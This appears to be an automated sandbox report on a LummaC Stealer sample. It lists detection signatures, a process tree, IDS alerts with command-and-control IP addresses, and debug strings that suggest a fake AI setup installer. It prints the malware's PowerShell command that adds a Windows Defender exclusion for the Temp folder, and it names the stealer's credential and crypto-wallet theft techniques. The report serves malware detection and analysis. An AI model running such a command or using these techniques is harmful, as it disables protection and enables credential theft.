Edit tour

Windows Analysis Report
mDHwap5GlV.exe

Overview

General Information

Sample name:	mDHwap5GlV.exe renamed because original name is a hash value
Original sample name:	1055064ac9b506a5b74090f71c4fabbe4bf077bce9bd80bfce9671e723f50cfc.exe
Analysis ID:	1561835
MD5:	ff8c1b17f334e2a1ef11429bbca0351f
SHA1:	1881b5d505c081056241368e37edb69be16a6eae
SHA256:	1055064ac9b506a5b74090f71c4fabbe4bf077bce9bd80bfce9671e723f50cfc
Tags:	exeNineRiversSkyRoarCommitTradeCoLtduser-JAMESWT_MHT
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Contains functionality to prevent local Windows debugging

Found many strings related to Crypto-Wallets (likely being stolen)

Hijacks the control flow in another process

Injects a PE file into a foreign processes

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Potentially malicious time measurement code found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

mDHwap5GlV.exe (PID: 6556 cmdline: "C:\Users\user\Desktop\mDHwap5GlV.exe" MD5: FF8C1B17F334E2A1EF11429BBCA0351F)

powershell.exe (PID: 1196 cmdline: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

decrypted_app_1.exe (PID: 2896 cmdline: "C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe" MD5: 8AE631C4645097BB7612CE112E70BF35)

pipanel.exe (PID: 3732 cmdline: "C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe" MD5: 3C98CEE428375B531A5C98F101B1E063)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000008.00000003.3177873716.0000000003289000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3177229776.0000000003287000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3149305764.000000000328B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3153999700.000000000328B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3199843354.0000000003287000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3223397181.0000000003287000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3199093402.0000000003288000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3199380721.0000000003288000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3226874929.000000000328F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.3150414400.000000000328B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pipanel.exe PID: 3732	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: pipanel.exe PID: 3732	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: pipanel.exe PID: 3732	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\", CommandLine: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\mDHwap5GlV.exe", ParentImage: C:\Users\user\Desktop\mDHwap5GlV.exe, ParentProcessId: 6556, ParentProcessName: mDHwap5GlV.exe, ProcessCommandLine: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\", ProcessId: 1196, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\", CommandLine: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\mDHwap5GlV.exe", ParentImage: C:\Users\user\Desktop\mDHwap5GlV.exe, ParentProcessId: 6556, ParentProcessName: mDHwap5GlV.exe, ProcessCommandLine: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\", ProcessId: 1196, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\", CommandLine: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\mDHwap5GlV.exe", ParentImage: C:\Users\user\Desktop\mDHwap5GlV.exe, ParentProcessId: 6556, ParentProcessName: mDHwap5GlV.exe, ProcessCommandLine: "powershell" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\", ProcessId: 1196, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:12:28.979790+0100	2028371	3	Unknown Traffic	192.168.2.4	49924	172.67.178.191	443	TCP
2024-11-24T12:12:31.106971+0100	2028371	3	Unknown Traffic	192.168.2.4	49930	172.67.178.191	443	TCP
2024-11-24T12:12:33.851374+0100	2028371	3	Unknown Traffic	192.168.2.4	49937	172.67.178.191	443	TCP
2024-11-24T12:12:36.192280+0100	2028371	3	Unknown Traffic	192.168.2.4	49943	172.67.178.191	443	TCP
2024-11-24T12:12:38.482823+0100	2028371	3	Unknown Traffic	192.168.2.4	49949	172.67.178.191	443	TCP
2024-11-24T12:12:41.138423+0100	2028371	3	Unknown Traffic	192.168.2.4	49956	172.67.178.191	443	TCP
2024-11-24T12:12:43.612889+0100	2028371	3	Unknown Traffic	192.168.2.4	49962	172.67.178.191	443	TCP
2024-11-24T12:12:47.031513+0100	2028371	3	Unknown Traffic	192.168.2.4	49972	172.67.178.191	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:12:29.684762+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49924	172.67.178.191	443	TCP
2024-11-24T12:12:31.819539+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49930	172.67.178.191	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:12:29.684762+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49924	172.67.178.191	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:12:31.819539+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49930	172.67.178.191	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:12:41.858127+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49956	172.67.178.191	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:10:05.973273+0100	2803305	3	Unknown Traffic	192.168.2.4	49733	194.15.46.236	8397	TCP
2024-11-24T12:10:26.552372+0100	2803305	3	Unknown Traffic	192.168.2.4	49738	172.67.74.152	443	TCP
2024-11-24T12:10:28.429848+0100	2803305	3	Unknown Traffic	192.168.2.4	49740	34.117.59.81	443	TCP
2024-11-24T12:11:31.829040+0100	2803305	3	Unknown Traffic	192.168.2.4	49799	172.67.74.152	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-24T12:12:43.620590+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49962	172.67.178.191	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: mDHwap5GlV.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: mDHwap5GlV.exe

Static PE information: certificate valid

Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.178.191:443 -> 192.168.2.4:49962 version: TLS 1.2

Source: mDHwap5GlV.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq.Expressions\Release\net7.0\System.Linq.Expressions.pdb source: mDHwap5GlV.exe, mDHwap5GlV.exe, 00000000.00000002.2586676294.000000000A3E1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Sockets.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2610536524.000000000E271000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net6.0/Newtonsoft.Json.pdb source: mDHwap5GlV.exe, 00000000.00000002.2583710420.0000000009BA0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Linq\Release\net7.0\System.Linq.pdbSHA256#0$B source: mDHwap5GlV.exe, 00000000.00000002.2587665887.000000000A930000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2587777590.000000000A9B1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.ServicePoint\Release\net7.0\System.Net.ServicePoint.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.NameResolution\Release\net7.0-windows\System.Net.NameResolution.pdbSHA256A source: mDHwap5GlV.exe, 00000000.00000002.2612038536.000000000E351000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2611890775.000000000E320000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: Microsoft.Win32.Registry.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: wntdll.pdb source: decrypted_app_1.exe, 00000007.00000002.3101125278.00000000030E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.VisualBasic/Release/net7.0-windows/Microsoft.VisualBasic.pdbSHA2565 source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Quic\Release\net7.0-windows\System.Net.Quic.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607352936.000000000DCF0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607441531.000000000DD41000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net7.0\System.Collections.Concurrent.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: System.Net.Security.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593612711.000000000C991000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593507496.000000000C900000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Management/Release/net7.0-windows/System.Management.pdb source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.VisualBasic/Release/net7.0-windows/Microsoft.VisualBasic.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.DiagnosticSource\Release\net7.0\System.Diagnostics.DiagnosticSource.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593385471.000000000C8A1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdba source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593385471.000000000C8A1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.CodeDom/Release/net7.0/System.CodeDom.pdb source: mDHwap5GlV.exe, 00000000.00000002.2609096644.000000000DEF0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Buffers\Release\net7.0\System.Buffers.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\System.Private.CoreLib\x86\Release\System.Private.CoreLib.pdb source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\DayDerry\Pro_AI_setup_v_1.03\obj\Release\net7.0\win-x86\Pro_AI_setup_v_1.03.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\coreclr\windows.x86.Release\dlls\mscordac\mscordaccore.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Linq.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2587665887.000000000A930000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2587777590.000000000A9B1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices.RuntimeInformation\Release\net7.0\System.Runtime.InteropServices.RuntimeInformation.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net7.0\System.Memory.pdbSHA256oY source: mDHwap5GlV.exe, 00000000.00000002.2604929693.000000000D481000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604788493.000000000D440000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Immutable\Release\net7.0\System.Collections.Immutable.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Collections.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2605844050.000000000D521000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2605777963.000000000D4D0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Thread\Release\net7.0\System.Threading.Thread.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2607545242.000000000DD80000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2609058208.000000000DEE0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.ServicePoint.ni.pdb>i source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Private.CoreLib.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Process\Release\net7.0-windows\System.Diagnostics.Process.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607643100.000000000DDB0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607711334.000000000DE01000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Collections.Specialized.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2620268309.000000000E7F0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2620375104.000000000E811000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data/Release/net7.0-windows/System.Data.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Contracts\Release\net7.0\System.Diagnostics.Contracts.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Timer\Release\net7.0\System.Threading.Timer.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections\Release\net7.0\System.Collections.pdb source: mDHwap5GlV.exe, 00000000.00000002.2605844050.000000000D521000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2605777963.000000000D4D0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Data/Release/net7.0-windows/System.Data.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO\Release\net7.0\System.IO.pdb source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO\Release\net7.0\System.IO.pdbSHA256w source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: /_/artifacts/obj/System.Configuration/Release/net7.0-windows/System.Configuration.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2585865823.0000000009D10000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: wntdll.pdbUGP source: decrypted_app_1.exe, 00000007.00000002.3101125278.00000000030E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Debug\Release\net7.0\System.Diagnostics.Debug.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Overlapped\Release\net7.0\System.Threading.Overlapped.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2611810679.000000000E300000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.IO.UnmanagedMemoryStream\Release\net7.0\System.IO.UnmanagedMemoryStream.pdb source: mDHwap5GlV.exe, 00000000.00000002.2586356950.000000000A070000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Collections.Immutable.ni.pdb source: mDHwap5GlV.exe
Source:	Binary string: C:\Users\Administrator\Desktop\DayDerry\Pro_AI_setup_v_1.03\obj\Release\net7.0\win-x86\Pro_AI_setup_v_1.03.pdb source: mDHwap5GlV.exe
Source:	Binary string: System.Net.NameResolution.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2612038536.000000000E351000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2611890775.000000000E320000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Specialized\Release\net7.0\System.Collections.Specialized.pdb source: mDHwap5GlV.exe, 00000000.00000002.2620268309.000000000E7F0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2620375104.000000000E811000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime\Release\net7.0\System.Runtime.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2582770722.0000000009AB0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.VisualBasic.Core\Release\net7.0-windows\Microsoft.VisualBasic.Core.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Net.Quic\Release\net7.0-windows\System.Net.Quic.pdbSHA256: source: mDHwap5GlV.exe, 00000000.00000002.2607352936.000000000DCF0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607441531.000000000DD41000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Diagnostics.Tracing\Release\net7.0\System.Diagnostics.Tracing.pdb source: mDHwap5GlV.exe, 00000000.00000002.2592357978.000000000C7E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.InteropServices\Release\net7.0\System.Runtime.InteropServices.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604580772.000000000D410000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604677499.000000000D431000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Private.CoreLib.ni.pdb[ source: mDHwap5GlV.exe, 00000000.00000002.2579250660.0000000008DC1000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2577048094.0000000008330000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Net.Quic.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2607352936.000000000DCF0000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2607441531.000000000DD41000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading\Release\net7.0\System.Threading.pdb source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595974127.000000000D041000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Diagnostics.DiagnosticSource.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593292915.000000000C830000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2593385471.000000000C8A1000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Threading.Timer\Release\net7.0\System.Threading.Timer.pdb source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: System.Threading.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2595889586.000000000D010000.00000002.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2595974127.000000000D041000.00000020.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.AppContext\Release\net7.0\System.AppContext.pdbSHA256 source: mDHwap5GlV.exe
Source:	Binary string: System.Net.ServicePoint.ni.pdb source: mDHwap5GlV.exe, 00000000.00000002.2610251919.000000000E1E0000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\Microsoft.CSharp\Release\net7.0-windows\Microsoft.CSharp.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography.Primitives\Release\net7.0\System.Security.Cryptography.Primitives.pdbSHA256 source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Collections.Concurrent\Release\net7.0\System.Collections.Concurrent.pdb source: mDHwap5GlV.exe
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Security.Cryptography.Primitives\Release\net7.0\System.Security.Cryptography.Primitives.pdb source: mDHwap5GlV.exe, 00000000.00000002.2593821344.000000000CA20000.00000002.00000001.00040000.00000003.sdmp
Source:	Binary string: D:\a\_work\1\s\artifacts\obj\System.Memory\Release\net7.0\System.Memory.pdb source: mDHwap5GlV.exe, 00000000.00000002.2604929693.000000000D481000.00000020.00000001.00040000.00000003.sdmp, mDHwap5GlV.exe, 00000000.00000002.2604788493.000000000D440000.00000002.00000001.00040000.00000003.sdmp
